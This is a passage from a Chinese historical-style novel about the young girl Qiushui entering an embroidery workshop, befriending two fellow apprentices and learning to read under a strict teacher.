“我女儿!今后大荣第一绣娘!”
“别胡说!小心点”
“你才胡说”
“楚医师,让你见笑了。”秋水娘搀扶着秋水爹一边对云照说。春林也在一旁扶着爹。
楚云照笑了笑:“哪里的话。我看你们甚是羡慕。”
春林和娘把爹放到了东厢床上,春林对楚云照说“我今夜可否和你将就一晚,你看现在这我爹,这~。”
“你去书房睡吧,我回我的房间睡。”
楚云照回到了自己房间刚要上床休息,听见一声“云照,你怎么回来了?”云照一惊,退后了几步,又感觉声音有点熟悉。
“我是舅舅。”
楚云照将灯点燃:“舅舅,你怎来这儿了?”
“那个田如意,非要与你舅妈同眠叙旧,还说晚上了一人不想回去。我说送她回去也不肯,让你齐叔来接她也不肯。就是铁了心的和你舅妈一起。我就找人给你齐叔带了个信。你不是睡书房吗?”
“秋水爹醉了,春林就问我能不能和他一起睡。我就把书房让给春林了。”
“今夜我两凑合一宿吧。明天我再将田如意赶走。”
“那便先如此吧。”云照无奈的答到。
“你不学医了,你替我找个徒弟可好?你帮我想想如何劝你舅妈将秋水让于我做徒弟。”
“舅舅,舅妈不好惹。”
“舅舅好惹。你说不学医就不学了,田如意说要和舅妈一起睡就和舅妈一起睡。”楚知求说完长叹一口气。
云照叹了一口气,舅舅又来了。为了今晚有个安稳觉就说:“药房里的伙计除了几个进济安堂前就会识字的,其他也都是一起送去绣坊教的。你等几个月秋水识字了再说,说不定那时候舅妈又得了几个好苗子呢?”
“不愧是状元郎的儿子啊,就是聪明。”
“状元郎?我爹是状元郎?舅舅你说什么?”
“困了,困了,睡了,下次在与你说。”楚知求见说漏了嘴,立马装睡了过去。
楚云照听着舅舅的鼾声久久不能入睡。
秋水娘今日起了大早,把院子里外打扫了个干净。
茯苓进院时候看见秋水娘在扫地,赶忙过去拦下:“有专门的仆人来做这些的。”
“不碍事,我就是闲不住。”秋水娘拿着扫帚笑了一笑。
“许大娘,那先和我去吃早饭吧。楚郎君和金娘子正在等着你们呢。”茯苓见估计是拦不住,就急忙换了个话题。
“好,茯苓姑娘稍等一会,我洗个手脸就去。”秋水娘答到。
“多谢两位楚医师和金娘子的照顾,我们一家打扰多时了。今日春林私塾老师要回来了,春林也该回去上课了。我就与春林先回家去了。秋水和秋水娘就还在贵府叨扰一段时间了。”秋水爹言辞恳切的说道。
“许大哥言重了,秋水是缕儿一眼相中的徒儿。这算不上什么打扰。倒是我还有一事相求。”
“不知道是何事,如果有幸能够报答楚医师,是我们的福气了。”秋水爹惊讶又兴奋。
“昨日听说令郎的字很不错,我这需要几本医术需要抄写一下,不知道可否能行?”
“当然可行,不知是些什么书?需要几份?”
“神农本草经与脉经还有针灸甲乙经和千金方,每份抄写一份。立冬前抄写完毕即可。”
“春林必当将楚医师交代的事情做好。”
吃过早饭,秋水爹和春林向楚知求与金千缕告辞就回了家。
金千缕望向楚知求:“你之前不都是让你徒儿自己抄写的吗?这次让春林抄写是要收春林为徒吗?”
“非也,我是见许大哥心中愧疚,所以找些事情让他安心。我上次于云照聊到,春林绘画和字确实都非常不错。说不定春林抄写的可做范本保存。”
7. 幸遇贵人喜拜师(三)
秋水与秋水娘在楚宅住了近一个月,秋水恢复得非常不错。到中秋前两天,春林和秋水爹带着自家做的月饼给出楚宅上上下下分了个遍。
茯苓都惊讶得问道“许大娘,家里是有月饼铺子吗?”
“茯苓姑娘说笑了,这是春林在家自己做的,费了好几日呢。”秋水娘拍了拍春林的肩膀说道。
“剩下的月饼麻烦茯苓姑娘分发一下了,我这边先带秋水去向金娘子送月饼了。”
“许大娘客气了,娘子正会客厅,你快去吧。”
秋水娘带着秋水拿着两盒月饼,牵着秋水往金缕儿得住处走去,走至金千缕的面前。金千缕见秋水娘带秋水过来了,停下了手中的针线活朝秋水他们走至秋水面前。
秋水娘示意让秋水递给金千缕。金千缕接过月饼又捏了捏秋水的脸说:“秋水真乖,今日是要回去了吗?”
“是,金娘子。秋水差不多好了,今日回去过个中秋,也收拾一些东西去绣坊。”秋水娘回答到。
“二十号,我让云照接你们过来。秋水,学艺是很辛苦的,秋水怕不怕吃苦啊。”
“不怕。”秋水坚定的回答到。
金千缕笑了笑,心想不愧是自己选择的接班人。金千缕将秋水给的月饼放于一旁的架子上,又拿上了两盒桃酥递给了秋水说:“这是我送你的中秋礼物,这几天好好玩一玩,然后来绣坊好好学艺好不好。”
“好。”
金千缕甚是欣慰,摸了摸秋水的头说“乖,回去吧。”
秋水爹娘带着春林和秋水回到了家里,过了中秋,一晃就到了去金记绣坊学艺的前一天。
秋水娘在给秋水收拾着东西,秋水爹在院中望着天期盼明天是个好天气。秋水只对明天满怀憧憬,恨不得现在一闭眼在睁开眼就到了金记绣坊。成长总是不近人情,孩子的想法与父母的想法总是大相径庭。
第二日早晨下了一点小雨,而后转晴。未时左右,楚云照乘马车来到秋水家。看着秋水那口雕花大木箱子也着实吃了一惊,秋水爹身上还背了个花布包。
“许大叔,不用备上这些东西,绣坊都已备齐全了,绣坊一人前去即可。”
“一些被褥衣服小干果的。”秋水娘笑嘻嘻的说道。
“绣坊规矩,不许用外带的被褥。”
“那我将被子拿走。”
“衣服也不许外带,绣坊有定制的服装。今日我带了一件来此,秋水换上便可去绣坊呢。”
“万一脏了下雨淋湿了,又或是脏了有个替换。”
“绣坊规矩,不可用非绣坊分配之衣物。”
“那我也将其拿出,吃食总可以带一些吧。”
“可以,一人带的吃食不可以超过二十两。多了的在门口会进行称重让人带走或丢弃。”
“那我就将每样糕点选四块,让秋水带走。”秋水娘听这话一下泄了气,在一旁收拾东西起来。
云照将一个上刻橘枝栖雀图的大红酸枝盒子递给秋水说:“去换上吧,这是绣坊的衣服。”
秋水娘见楚云照拿出的盒子,也不说带这些东西了。擦了擦手便带着秋水进房间换衣服了,秋水爹将云照和车夫请入主厅喝茶等待。
“自家炒制的茶叶,楚医师和这位大哥都莫要嫌弃。”
楚云照尝了尝说道:“许大叔客气了,好茶,入口回甘。”
秋水爹听见楚云照这么说笑了一笑。
秋水蹦蹦跳跳的跑进了主厅,一双粉色的小布鞋上缝制上一只花蝴蝶,花蝴蝶也随着秋水一蹦一跳的步子展翅跳动。绿色暗纹的一条灯笼裤。红色绣花肚兜,外配一件粉色白花褙子领口处使用黄色布料封边绣梅花图案,腰身处褐色圆纹布料封边,腰间系上一根红色粗布条。
“云照哥哥我们走吧。”秋水在原地转了好几个圈。
“你先莫急,让爹在看几眼。”
“我这在后面都没赶上她,她呀,心都早飞绣坊去了。”秋水娘赶来后说道。
“是啊,我们这一屋子人都比不上云照哥哥了。”春林在一旁揶揄道。
“哼!就是不喜欢哥哥。”
“哼!你不喜欢我不去接你回来。”
秋水对春林做了个鬼脸说道:“不接就不接,云照哥哥带我回来。”
楚云照看他们聊的差不多了,就对许大娘说:“许大娘,那我带秋水走了?”
“好,走吧,别太晚了。这些吃的还是带上。”秋水娘将吃塞给楚云照,楚云照无奈接过吃的,牵着秋水走了。
秋水娘一边看着马车一边抹着眼泪,秋水爹在一旁安慰到“孩子都大了,都要往外飞的。”
春林看着他们摇了摇头说道:“那你们留点眼泪等我下次飞吧。”
秋水爹无奈叹了一口气。
很久之后,秋水娘与秋水谈论到这一天,秋水记得本来是一个大雨天,但云照哥哥来接她的时候雨就停了,出了好大的太阳。秋水娘说,那是一个好大的雨天,云照接她走的时候,雨还下得好大。想让云照和秋水等雨停在走,但是云照说怕来不及要早些出发。
秋水在车上倒是格外开心。一直问着
“云照哥哥,金记绣坊人多吗?和我住的都是哪些人啊?”
“人很多,有绣娘三十五人其中一等绣娘五人,二等绣娘八人,三等绣娘二十二人;教习三人,教习有教识字作画的姚闻华姚教习,教礼仪妆容的严雪衣严教习;主管一人,新入绣坊的有四人。和你住的就是新入坊的其中三位了。”
“好多人啊。和我一起的什么时候可以见到呢?”
“到了,你就可以见到了。”
“好久哇,要是咻一下就直接到了就好了。”
“哈哈哈,你倒是着急,你要不睡一会儿吧,睡醒了就到了。”
“睡不着。”
楚云照笑了一笑,将一本《异物志》递给秋水:“那天见你喜欢山海经的图画,我就给你找了一本差不多的书籍,你可以现在看图画先打发一下时间。后面你识字了之后在看文字。”
“谢谢云照哥哥。”秋水接过云照递过来的书籍翻看了起来。
秋水翻了一会觉得无趣又对云照问道:“那我去了金记绣坊可以去找你吗?”
“这到是不行,绣坊规定学徒是不可以私自外出的。”
“你可以来找我吗?”
“有空我会去的。”
“那你来的时候可以带新的书籍给我吗?”
“可以。”
“那我什么时候可以出去找你呢?”
“不是学徒的时候,你真的不想
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休息一会儿吗?”
“我不累。”
“哥哥困了,哥哥先休息一会儿好吗?”
“好。”
楚云照本想躲一下一直在问的秋水,可没想到自己装睡居然真的睡着了,等到金记绣坊还是秋水将他喊醒了。
“醒醒,云照哥哥,我们到了。”
“等等。”楚云照清醒了一会儿,将秋水的东西,和给秋水的书籍装入秋水的包裹中后牵着秋水下了车。
“云照随我来,正门正在处理新入坊的学徒的事情呢。还有个贺家娘子在门口哭泣,田教习在那儿宽慰着呢。”
“贺家娘子是谁?她有什么伤心事吗?”秋水疑惑的看向这位来接他们的女子。
那女子头戴莲花冠,脸上妆容与一般画法不太想同,好像是先着胭脂后才敷粉,显得脸色白里透红甚是可爱。穿一粉色牡丹内衫搭配绿色窄袖衫,外套绿色如意纹半绣衫,配上一条祥云纹样玫红色百褶裙,腰上系一红色环佩绦带。配色大胆却又和谐,更衬托得容貌娇艳。
“这位就是金娘子说的秋水吧。看起来倒是聪明伶俐。”严雪衣笑着捏了捏秋水的脸。
“雪衣姨好,这位是秋水。这位是严教习,秋水拜见一下。”
“严教习好。”秋水向严教习行了一个礼。
“真乖,贺家娘子是你同舍贺得宝的娘,她没有什么伤心事,只是爱哭而已。倒是金娘子有件伤心事。”严雪衣叹了一口气说。
“舅妈今日怎会伤心?今日不应当大喜吗?”
“今日原有四位学徒,可有一位的父亲不允她来绣坊。说是她来绣坊,家中事物没人操劳。要绣坊赔偿损失,如果不赔偿就不让人去。”
“那舅妈赔偿了吗?”
“当然没有,那泼皮原是说要二十两,姚教习就给了,正要带那木桂枝走,结果那泼皮又要一百两。姚教习就恼火了说你女儿的前程你都不在乎又和我有什么关系,姚教习就将之前给的二十两拿了回来就走了。”
“这也难怪舅妈生气了。”
“所以你们等会进去都对金娘子客气一些。”
“谢谢雪衣姨。”楚云照看着秋水点了点头,秋水也重重的点了头。
“云照,你就送到此处吧。秋水,这是以后你们的学堂。你有一个伙伴已经先到了,你可以在这里和她玩。等会会有各位教习过来带你们熟悉金记绣坊。”
秋水接过云照递过来的包裹,望见学堂内部,里面有八张座椅分为两列,每列四张桌椅,各放笔墨纸砚四样。有一和秋水同龄穿着同样服饰的女童,坐于第一列第二排。但不同于秋水的活泼热闹而是十分娴静,左手撑着脸颊,眼睛望着窗外。秋水一行人在门口站了说了这许久的话,她也未回头看一眼,完全没有这种年岁的孩子对生人的好奇心。
秋水本依依不舍云照离开,但见学堂里有个同岁的女孩一直望着窗外来了兴趣。看了眼云照便往学堂里走了。
“你看小孩子看见新鲜东西就一下被吸引了。”
“雪衣姨说的是,那我就先告辞了。”楚云照看了眼秋水便也放心了,向严雪衣行了一个礼便回去了。
秋水走至那女孩同排另外一列位置,也望了望窗外,又望向那女孩:“我是许秋水,你是何人,你在看些什么?”
8. 初入绣坊识新友
“祁多儿。”说话那孩子抬了抬头看着秋水。
“你在看什么呢?”秋水疑惑的看着祁多儿。
“窗,树,花,鸟。”
秋水点点头,又看了一眼窗外,又回头望向祁多儿:“按你说得这么看,好像是一副画。”
祁多儿听秋水这么说,笑了一笑。秋水看祁多儿柔和许多便拿着包裹走到祁多儿位置的前面,也用手将头撑在祁多儿面前,和祁多儿一看着窗外。
秋水与祁多儿看了半刻钟后,田教习牵着一个小女孩走入了学堂:“这是贺得宝,各位以后需得相识相助。”
田教习松开了贺得宝的手,看了眼秋水和祁多儿之后,便走了出去。
田教习走后,贺得宝还是委委屈屈的不敢动,一直低着头不说话。秋水看她这个样子叹了一口气。将自己的包裹放回之前的位置,又拉着贺得宝的手坐到了祁多儿前面的位置。
“你们是谁?”贺得宝望着秋水又望向多儿。
“许秋水。”
“祁多儿。”
秋水和多儿望着得宝这个小哭宝笑了一笑。
“你为何眼睛发红,是哭了吗?”祁多儿捏着贺得宝肉乎乎的脸。
“我娘亲不要我了。”贺得宝听祁多儿这么一问,又哭了起来。吓的祁多儿和秋水忙给贺得宝擦眼泪。
“你娘没有不要你,我进来的时候还听严教习说,你娘舍不得你在门口哭泣呢。”秋水拍了拍得宝的背。
“是啊,你看你的名字。贺得宝,得宝,就是得了一个宝贝啊,你娘亲怎么会把你这个宝贝丢掉呢。”祁多儿忙附和。
得宝听了这些话,停了哭泣问:“你们娘亲为什么送你们来绣坊?”
“我娘亲说,学个手艺,以后靠自己可以混口饭吃。”秋水看着得宝说。
“我也是。”祁多儿点了点头。
金娘子与田教习等人本来到了正要进来,又听见得宝的哭声又被田教习拉了回去。金娘子和田教习在外相视一笑。等着他们安静了,金娘子一行人才缓缓走了进来。
秋水望向金娘子点了点头,便向之前放包裹的位置走了过去。
“你们都互相认识了吗?”
秋水得宝多儿都一起点了点头。
“这位是田教习,后面会教你们针法刺绣。”
今日的田如意与上次秋水在楚宅见到的颇为不同,她记得上次见到田教习还是身穿绿色女装,虽活泼但文雅的小女子摸样。今日的田教习,虽戴女子式样花玉冠,但身穿月白色如意纹圆领袍,手上还套一白底镶银饕餮纹护腕,腰上系一褐色皮质镶银环纹革带。
田教习身高也略高于其他教习半个头的身高,又着男装,颇显英气。金娘子说到她时,她行了一个叉手礼。若不是秋水之前见过田教习,也要以为这是一个善于使针用线的美男子了。
“这是严教习,教你们礼仪妆容。”
严教习听金娘子说道她时,先是浅浅一笑,而后在行了一个万福礼。严教习生的最为楚楚动人,穿得也最为娇艳,年纪也最为小。秋水虽是原先已经见过这位严教习了,但是再见还是觉得严教习美的惊人。
“这是姚教习,教你们识字作画。”
姚教习不如严教习娇媚,也不如田教习英气。但有一种独特的气质,脱俗清雅。用一翠绿玉簪将头发挽起,配上两朵海棠花点缀。穿着一件浅染的青碧色上衣,配上一件白纱裙。好似天上谪仙。姚教习听到自己名字时,只轻轻点了点头。
“这是孙管家,管理你们起床就寝的时辰,还有你们有需要购买的物品都可告知孙管家。”
孙管家比较于其他教习,年纪较大,好像有五十左右,面相也较凶。随意的盘着头发,未戴头饰,穿着一套麻布制的灰褐色衣服,唯独耳朵上一对红色玛瑙吊坠耳环给孙管家添了些颜色。虽听见金娘子叫他名字时也如姚教习一般点了点头,但气场渗人。秋水看孙管家这几眼,甚至怀疑孙管家会吃人。
介绍完毕之后金娘子带着秋水一行人将金记绣坊逛了个遍,因他们所处的学堂离后门较近,金娘子遍说由后门向前门去进行参观。金娘子在前带路,三位教习一个牵着一位在后面跟着。田教习牵着贺得宝,姚教习牵着祁多儿,严教习牵着秋水。孙管家在最后。
金记绣坊是一个长方形结构,中间截断,临街的那一边为绣坊商铺,另外一边是学徒学习的场所以及绣娘休息吃饭的地方。金记绣坊北面靠山,西面靠水,东侧是一家织布坊,南侧便是街道。
金娘子带他们出了学堂,走出内仪门,再绕过影壁出了外仪门,右侧是一个凉亭,左侧修建了一个鱼池。再走过石阶踏出后院大门,门外站着两位护卫。金娘子带着秋水一行人向右边走,金娘子指向不远处依山而建的一处院落说:“那是绣坊护院以及绣坊伙计的住处。”
秋水等人望向金娘子所指之处,是一进四方小院。后经过绣坊和织布坊之间的路,终于到了金记绣坊前门。金记绣坊前院主楼是一二层小楼。一层是购买成品绣花制品,二层是定制衣服绣花。主楼右侧是绣坊送货伙计歇腿和备货的位置,右侧开了一家茶水铺。
金娘子将秋水一行人从送货柜台进入内院,正前方又是一三层小楼,金娘子介绍说“这是绣娘刺绣小楼,一楼为三级绣娘,二楼为二级绣娘,三楼为一级绣娘刺绣之所。”右侧是一列四座库房,左侧有三间茶室做会客厅使用。内院中央除铺设石板,四侧皆种了一棵大树,小楼以及各房屋门口各建一石头柱灯外无其他陈设。
经过院中,走至右侧最前方处,绕过三层小楼与会客厅之间的树的后面,有一小门,金娘子敲了敲墙,墙面竟然出现一门形洞。“平时这个门是在绣坊那边是打不开的,只有起居院可以打开。平时由孙管家在这个院门处为你们开启。”金娘子看向秋水一行人说道。
进入石门,便又回到了起居院中,出石门右侧有八间住宿间,最左侧是管家房,管家房旁边是学徒房,因学徒都年级较小怕打扰他人便留出一件空房给教习做日常休息用。剩余五间都是绣坊绣娘居住,每间可住八人。浆洗房最前方便是书房,书房左侧依次是学堂,学徒绣堂。学徒绣堂右侧便是内仪门,内仪门右侧是一间凉亭,凉亭前侧修建了一个八角池塘,凉亭右侧有一列六间房屋为澡堂。
“都记住了吗?”金娘子依次望向秋水,得宝,多儿。
秋水得宝多儿又被金娘子如此一望,心中慌张,马上点了点头。
“你们以后,卯时过半可让孙管家带你们吃饭,辰时即必须来这里,姚教习教你们读书识字。午时可以吃午饭然后休息到未时,再到戌时才可吃午晚饭休息。”
金娘子说完这段话后面无表情的望了望秋水等人。
秋水祁多儿点了点头,到了贺得宝时,得宝竟哇的一声继续哭了出来。
“金娘子,得宝胆子小,娘子莫怪。”秋水走到得宝旁,抱住得宝安慰道。
“金娘子,我们一定明日一定准时,希望娘子莫怪。”祁月儿也站了起来看向金娘子。
金娘子点了点头:“你们今日即如此袒护,希望你们日后也能如此互助。今日就不行责怪了,孙管家带她们去逛逛就洗漱睡觉吧。”
“是,娘子。”
金娘子带着教习走了,孙管家等贺得宝心态安静了才将他们带去参观了内院,再将她们三带去洗漱。
三位小朋友洗漱完,来到为她们准备的卧室。中间放置一张四方桌子,右侧立着一个多
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宝格,卧室最内侧是长八尺,宽同整个房宽,高一尺半的石头砌的床,上面铺了三床粉色如意纹被褥。
“我害怕,可以让我睡中间吗?”得宝拉着多儿和秋水的手,眼巴巴的看着他们两个。
秋水无奈的叹了一口气将被子拉到得宝旁边问道:“你之前是不知道要来绣坊吗?为什么这么害怕你还来?”
“不是我要来的,都是娘亲让我来的。”得宝又委屈巴巴快要哭出来了。
“为什么你娘亲非让你来?”祁多儿也是好奇便接问道。
“娘亲说,家里的家产分给哥哥们之后不够我的。向金娘子学习刺绣手艺和绣坊经营手段,等过两年安定了,可以做生意养活自己。”
“我娘也是这么说的。”秋水翻身朝着得宝说。
得宝将头往向祁多儿:“那多多你是为什么来绣坊呢?”
“我和秋水一样。”
“不要吵了,明天你们还要早起去上课,迟到了可是要罚你的。”孙管家在外假装严厉的呵道。
“嘘,快装睡。”祁多儿轻声对秋水于得宝说,三人便一起装睡,装着装着就睡着了。
好几年之后,秋水才知道祁多儿被问到这个问题时候有多难过,祁多儿的父亲是一个几十年老秀才,当个私塾老师可以勉强养活家里。本来家中大哥学业有成,考中了举人,可突然得了恶疾,就这么去了。
至此,多儿的父亲就变的严厉苛刻了起来,多儿一共有两个哥哥,大哥英年早逝,二哥和弟弟都比较愚笨。多儿出生之时,多儿父亲甚是不满,想要将她送人,被母亲拦下。所以多儿父亲给她取名为祁多儿。希望多儿。
多儿父亲对多儿哥哥弟弟读书甚是严厉,可不愿教导多儿读书识字,多儿就躲私塾窗外偷偷认字。多儿父亲每次发现多儿之后便将她一顿毒打,多儿娘亲心疼又无奈。后面知道金记绣坊会教读书写字又可学习刺绣糊口,便让多儿练习了许久刺绣将多儿送来绣坊考试。
得宝不同于多儿凄惨的童年生活,得宝如她的名字一般,确实就是家中的宝贝。得宝娘亲本是江南的一位乐妓。爹是一位白手起家的木料商人,不识几个字。又长期不在家中,家中两小儿不学无术甚是让人操心。
得宝爹一日在船上喝酒,见一弹琵琶的乐妓被人骚扰。那女子竟将桌上的花瓶砸碎了,置于喉间说,那你就与我这尸体共度良宵吧。得宝爹见此女子甚是泼辣,心中甚喜欢,便上前阻拦,还赔偿了骚扰该女子的男子当日的花销。
又问女子学识如何,家境如何,得知女子琴棋书画具识,家中只有一老娘,全靠她一人养活,甚是心疼。便将该女子赎身纳为妾室,将其老娘也带回南河赡养。只让该女子教导其孩子。这位艺妓便是得宝娘亲。
后来得宝娘亲生了得宝,得宝爹的儿子皆以长大成人。虽然也对得宝娘亲恭敬,对得宝也颇为疼爱。但得宝娘亲还是非常不放心。又听说战事将稳,贸易应该更加容易,便想得宝去金记学得手艺与经营方式,便可找得宝爹要笔钱做些自己的营生。得宝爹觉得也可,便拜托金娘子收下了得宝。
第二日,秋水多儿得宝早早便起床,等着孙管家过来找她们。孙管家见她们起床这么早也是一惊。
“起这么早,也不怕等会上课瞌睡。”
孙管家笑着说,秋水见孙管家今日没有昨日的凶悍也觉得清切不少,而后孙管家教她们洗漱穿衣。
今日的衣服不似昨日的以黄为主色,今日衣服是红粉系的。每件衣服袖口裤腿都绣上了她们各自的名字。孙管家等她们穿衣好之后,将早饭领来,让她们吃了便去向学堂了
秋水得宝多儿拉着手蹦蹦跳跳的往学堂跑去,现在挂在脸上的还是笑容,过会儿就要消失了。
9. 初学识字开蒙难
许秋水走到学堂座位上发现学堂最前方多了一张书案桌和官帽椅,自己桌子上也不知谁人放了十六张三寸长款的纸,忙问这是什么?
祁多儿与贺得宝看了看自己的桌子之上也有一沓写了字的纸。
祁多儿看了写字的纸,歪了歪头说:“应是百家姓,我爹是私塾老师,初入学堂的小孩都是从百家姓学起。”
“那你认识吗?”许秋水看向祁多儿。
“听我爹的学生读,倒是会背了,字认得不全。”祁多儿委屈的摇了摇头答道。
贺得宝听得这么说,也叹了一口气望向祁多儿:“我也不会,以前娘教我识字,我不想学,就跑了。哥哥说娘以前教识字打人可凶了,你爹打人吗?”
祁多儿点了点头。
贺得宝见祁多儿如此肯定,急的快哭了。
“姚教习长的如此温柔,一定不会打人的。”许秋水拍了拍贺得宝的肩说道。
“我打人可疼了,你们要是学字不认真的话,会打的很重。”
姚教习右手拿着一沓纸,左手拿着一根一丈长的竹尺走入了学堂,将竹尺和纸放在桌上,理了理衣服后,坐了下来。
“你们先坐好,我从今日开始教你们读书写字。要是我的问题你们回答错了或者回答不上来,那我就会打你们左手,左手打肿了,就打右腿,右腿打肿了,就打左腿。都肿了,那就打屁股。在不行了,就攒着,等你好了,就在继续打。”
姚教习的身影温柔而清晰,像是初春来临,积雪慢慢融化的声音。说出的话却像是寒冬腊月里里的暴雪还带着狂风。听姚教习的一番话,许秋水贺得宝祁多儿这三个小孩都不敢再吱声。
一般私塾先生,是将一段段教给学生,后抽查学生背书。而姚教习是将每个字单独写了一张纸,她拿出一张叫许秋水她们跟着念并找出同样的出来。
如此几轮过后。
“将你们手中的字按顺序将赵钱孙李,周吴郑王。冯陈褚卫,蒋沈韩杨的顺序排列出来。没有错误的可以得一次免除挨板子的机会,有错误的话,错一个字打一下。给你们一罗预的时间,不允许交头接耳。”
姚闻华用食指在桌上敲打着计时,敲击了一百四十四下后向许秋水走去。
“许秋水全对。祁多儿全对。贺得宝错三个。贺得宝站起来,把左手伸出来,我要打你三下。”
贺贺得宝听了这话,刚站起身伸出手,姚教习还没有开始打,贺贺得宝就滴滴答答的落下泪来了。
“教习,我愿意将免除挨板子的机会让给贺得宝。”
“教习,我也愿意。”
许秋水和祁多儿先后站起身对姚教习说.
姚教习笑着点了头问道:“若你们之后挨打了可甘心?”
“甘心”许秋水看着姚教习答道,祁多儿听许秋水如此说也点了点头。
姚教习轻轻的打了一下贺得宝:“既差不多午时了,先去休息些时辰,未时可得准时来,若是迟到!那也要打板子。”
姚教习走出了学堂,贺得宝见姚教习走了,泪水和决堤的江水似的一个劲的往下流。许秋水和祁多儿一直在旁安慰着,直到孙管家喊她们回去吃饭。
吃饭时,祁多儿看向孙管家:“孙管家,你有百家姓这本书吗?”
孙管家摇了摇头:“我是没有,不过书房有,可以给你拿过来。”
“你要百家姓做甚?”贺得宝顶着红红的眼睛望着祁多儿。
“我会背呀,书拿过来,我们提前把后面的给记住。”
孙管家听了祁多儿说的一惊:“你会背却不识字?”
祁多儿点了点头。
“那你背给我听听,我就去给你拿书。”
祁多儿将百家姓都背了出来,孙管家很是惊讶的又问道你还会背什么。祁多儿又将千字文背到海咸河淡,鳞潜羽翔。
孙管家将其打断说道:“百家姓和千字文,还要何书。我都与你拿来。”
祁多儿端着饭碗歪着头向贺得宝眨了眨眼睛。
祁多儿将百家姓后面十六字教于许秋水和贺得宝,尤其让贺得宝记住。果然躲过了下午姚教习的考察。
“今天不错,你们今日的作业便是将今天所学得三十二个字,抄写十遍。将你们桌上的纸拿起。将纸横着对折两次竖着对折两次。”
许秋水贺得宝祁多儿跟着姚教习将桌上的纸折了起来在展开,将长一尺宽一尺的宣纸分成了十六等份的方格。
“写好,十遍就可回去了,写的不好的便要重写,也许是不能回去直到明日继续上课。”
许秋水心想,怎么如此温柔的姐姐,讲话总是如此渗人。
许秋水和祁多儿申时就过关回去了,贺得宝被单独留下一直到戌时。
贺得宝回来之时,红着眼眶,拿了十六张大纸。
“贺得宝,你这是怎么了?”许秋水祁多儿见贺得宝可怜走上前去拉着贺得宝。
贺得宝将手上的纸放在桌上说:“这是姚教习给的,说是明天的课题,这些后面的字都和第一字相同读音。明天会考这些我们是否认识,看我今天可怜,先给我泄题了。”
祁多儿拿着蜡烛看了看字说:“你别着急,孙管家给你热着饭,你先去吃饭。我和许秋水回学堂一下。”
许秋水望着祁多儿点了点头。
许秋水拿着贺得宝带回来的纸,祁多儿拿着蜡烛跑到学堂门口,观察了一番,见姚教习不在才走了进去。
“你抄前八张,我抄后八张。”祁多儿看着许秋水说道。
许秋水点了点头。
祁多儿和许秋水抄写完,赶忙又回去了,生怕姚教习又回来。
祁多儿将自己和许秋水抄写的那一份撕开成单字,将姚教习的范例用作参考,与许秋水贺得宝一边记,一边测试能否将同音的字放在一起。许秋水贺得宝祁多儿三人一直记到子时才睡。第二日还是孙管家过来才将她们喊醒。不过还好,功夫不负有心人,贺得宝今天也没被处罚,只是字太丑被多留了一些时间抄写。
一连六天,许秋水和祁多儿倒是没有什么差错,只是贺得宝天天被留下来多写一些字,姚教习在以心疼她为由给她泄题。
六天过去了,许秋水她们终于等到可以回去的日子了。
申时刚到,“今天你们可以下课了。”姚教习说完便走了。
“贺得宝,你娘已经在外等着了。许秋水你爹和你哥也已在外等着。你们快去,祁多儿,你父母还未来。”孙管家走了进来。
“多多,那我们先走了。”
祁多儿笑着点了点头。
贺得宝就拉着许秋水的手走了出去。
孙管家见祁多儿有些难受说道:“祁多儿娘子,你爹娘只是会稍晚一些,莫要难
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过。”
“孙管家,我知道他们不会来。”
许秋水和贺得宝手拉手跑到了绣坊门前。许秋水爹一直在向里面张望着。哥哥手拿两串糖葫芦,见许秋水牵着一个同龄小姑娘,便将两串糖葫芦都递给了许秋水,许秋水将另外一串递给了贺得宝。
贺得宝娘亲见此,又从马车上拿了一盒糕点对许秋水说:“多谢你赠与得宝的糖葫芦,这盒糕点赠予你。”
许秋水看了看贺得宝娘亲,又看了看许秋水爹,许秋水爹点了点头。许秋水接过糕点,抱着糕点向贺得宝娘蹲了一蹲。
贺得宝娘摸了摸许秋水的头,笑着牵着贺得宝上了自家的轿子走了。
贺得宝娘拿过贺得宝的糖葫芦,给贺得宝递了一个桂花糕:“马车颠簸,吃糖葫芦容易伤着,来吃糕点。”
“谢谢娘。”
“刚同你一起出来的是何人?”
“是秋水,也是绣坊的学徒,她好聪明,看过一次的就能记得。多多也好聪明,虽然也不识字,但是她会背百家姓和千字文。多亏她们两个,我才不会被姚教习打板子。”
贺得宝娘捏了捏贺得宝的脸:“都瘦了,回家吃点好的补补。”
被打有什么办法呢,你娘教,你就跑。现在姚娘子教你跑不了了,就教好了。还是送给别人教好啊。贺得宝娘如此想着,一不小心笑容漏出来掉在了脸上。
“娘,你为何如此高兴。”贺得宝看见娘亲脸色格外灿烂的笑容疑惑问道。
“娘亲见到你高兴啊,你高兴吗?”
“高兴。”
“那后日还愿不愿意回绣坊?”
“愿意。”
“我还以为你不愿意呢,不怕被姚教习打吗?”
“怕,可是我也想多多和许秋水。”
许秋水娘做好饭菜,估摸着时间觉得差不多了就在门口等着许秋水他们回来。久等不到就向村口走去。刚走到村口,就见王有收的牛车回来了。许秋水爹让王有收停了车。许秋水爹将许秋水抱了下来,春林跳下了车。
“得亏回来的及时,在晚一点,娘亲就要走到绣坊了。”春林打趣到。
“饭菜都热着,快些走!回去吃饭!秋水这些天都饿瘦了。”
许秋水爹娘一个劲的给许秋水夹菜,许秋水抱着碗说“够了,够了。”
“这些天可有想家?”许秋水娘看着许秋水问道。
“想家,想娘,想爹,不想哥哥。”
春林啧了一声说道:“刚出绣坊的时候还和一个绣坊的朋友难舍难分呢。”
许秋水娘听春林说完看向许秋水:“秋水交了新朋友啊,这是好事,什么样子的朋友啊?”
“和我一起出来的是贺得宝,还有一个多多,你们没有看见,她可聪明了,会背百家姓和千字文,都是她提前教我们才让我和多多第二天不被姚教习打板子。”
许秋水娘赞许的说:“到真是厉害。”
确实如许秋水哥哥春林所说,许秋水在绣坊想着家,在家想着多多和贺得宝。贺得宝也是如此,贺得宝在家想着许秋水和多多。多多在绣坊想着贺得宝和许秋水。
时间慢慢过去,许秋水和贺得宝总是如此,多多除第一次没有任何人来接她以外。往后每一次许秋水和贺得宝回家之后,多多娘亲总会做些饭菜或一些糕点,送来给多多。等多多吃完,她就走了。
10. 不学刺绣学救人
三个月后,楚知求在房间排演数次,终于等到了金千缕回来。
“缕儿,你猜猜这是何物?”
楚知求将黑色蓝花纹螺钿漆漆盒双手托起于金千缕面前,金千缕用将楚知求轻轻推开笑道:“无事献殷勤,可不敢收。”
“缕儿,你先看看,看过再说也不迟。”
“只见此盒已是昂贵之物,盒中之物更应是非凡。郎君心中所思我不敢细探。”
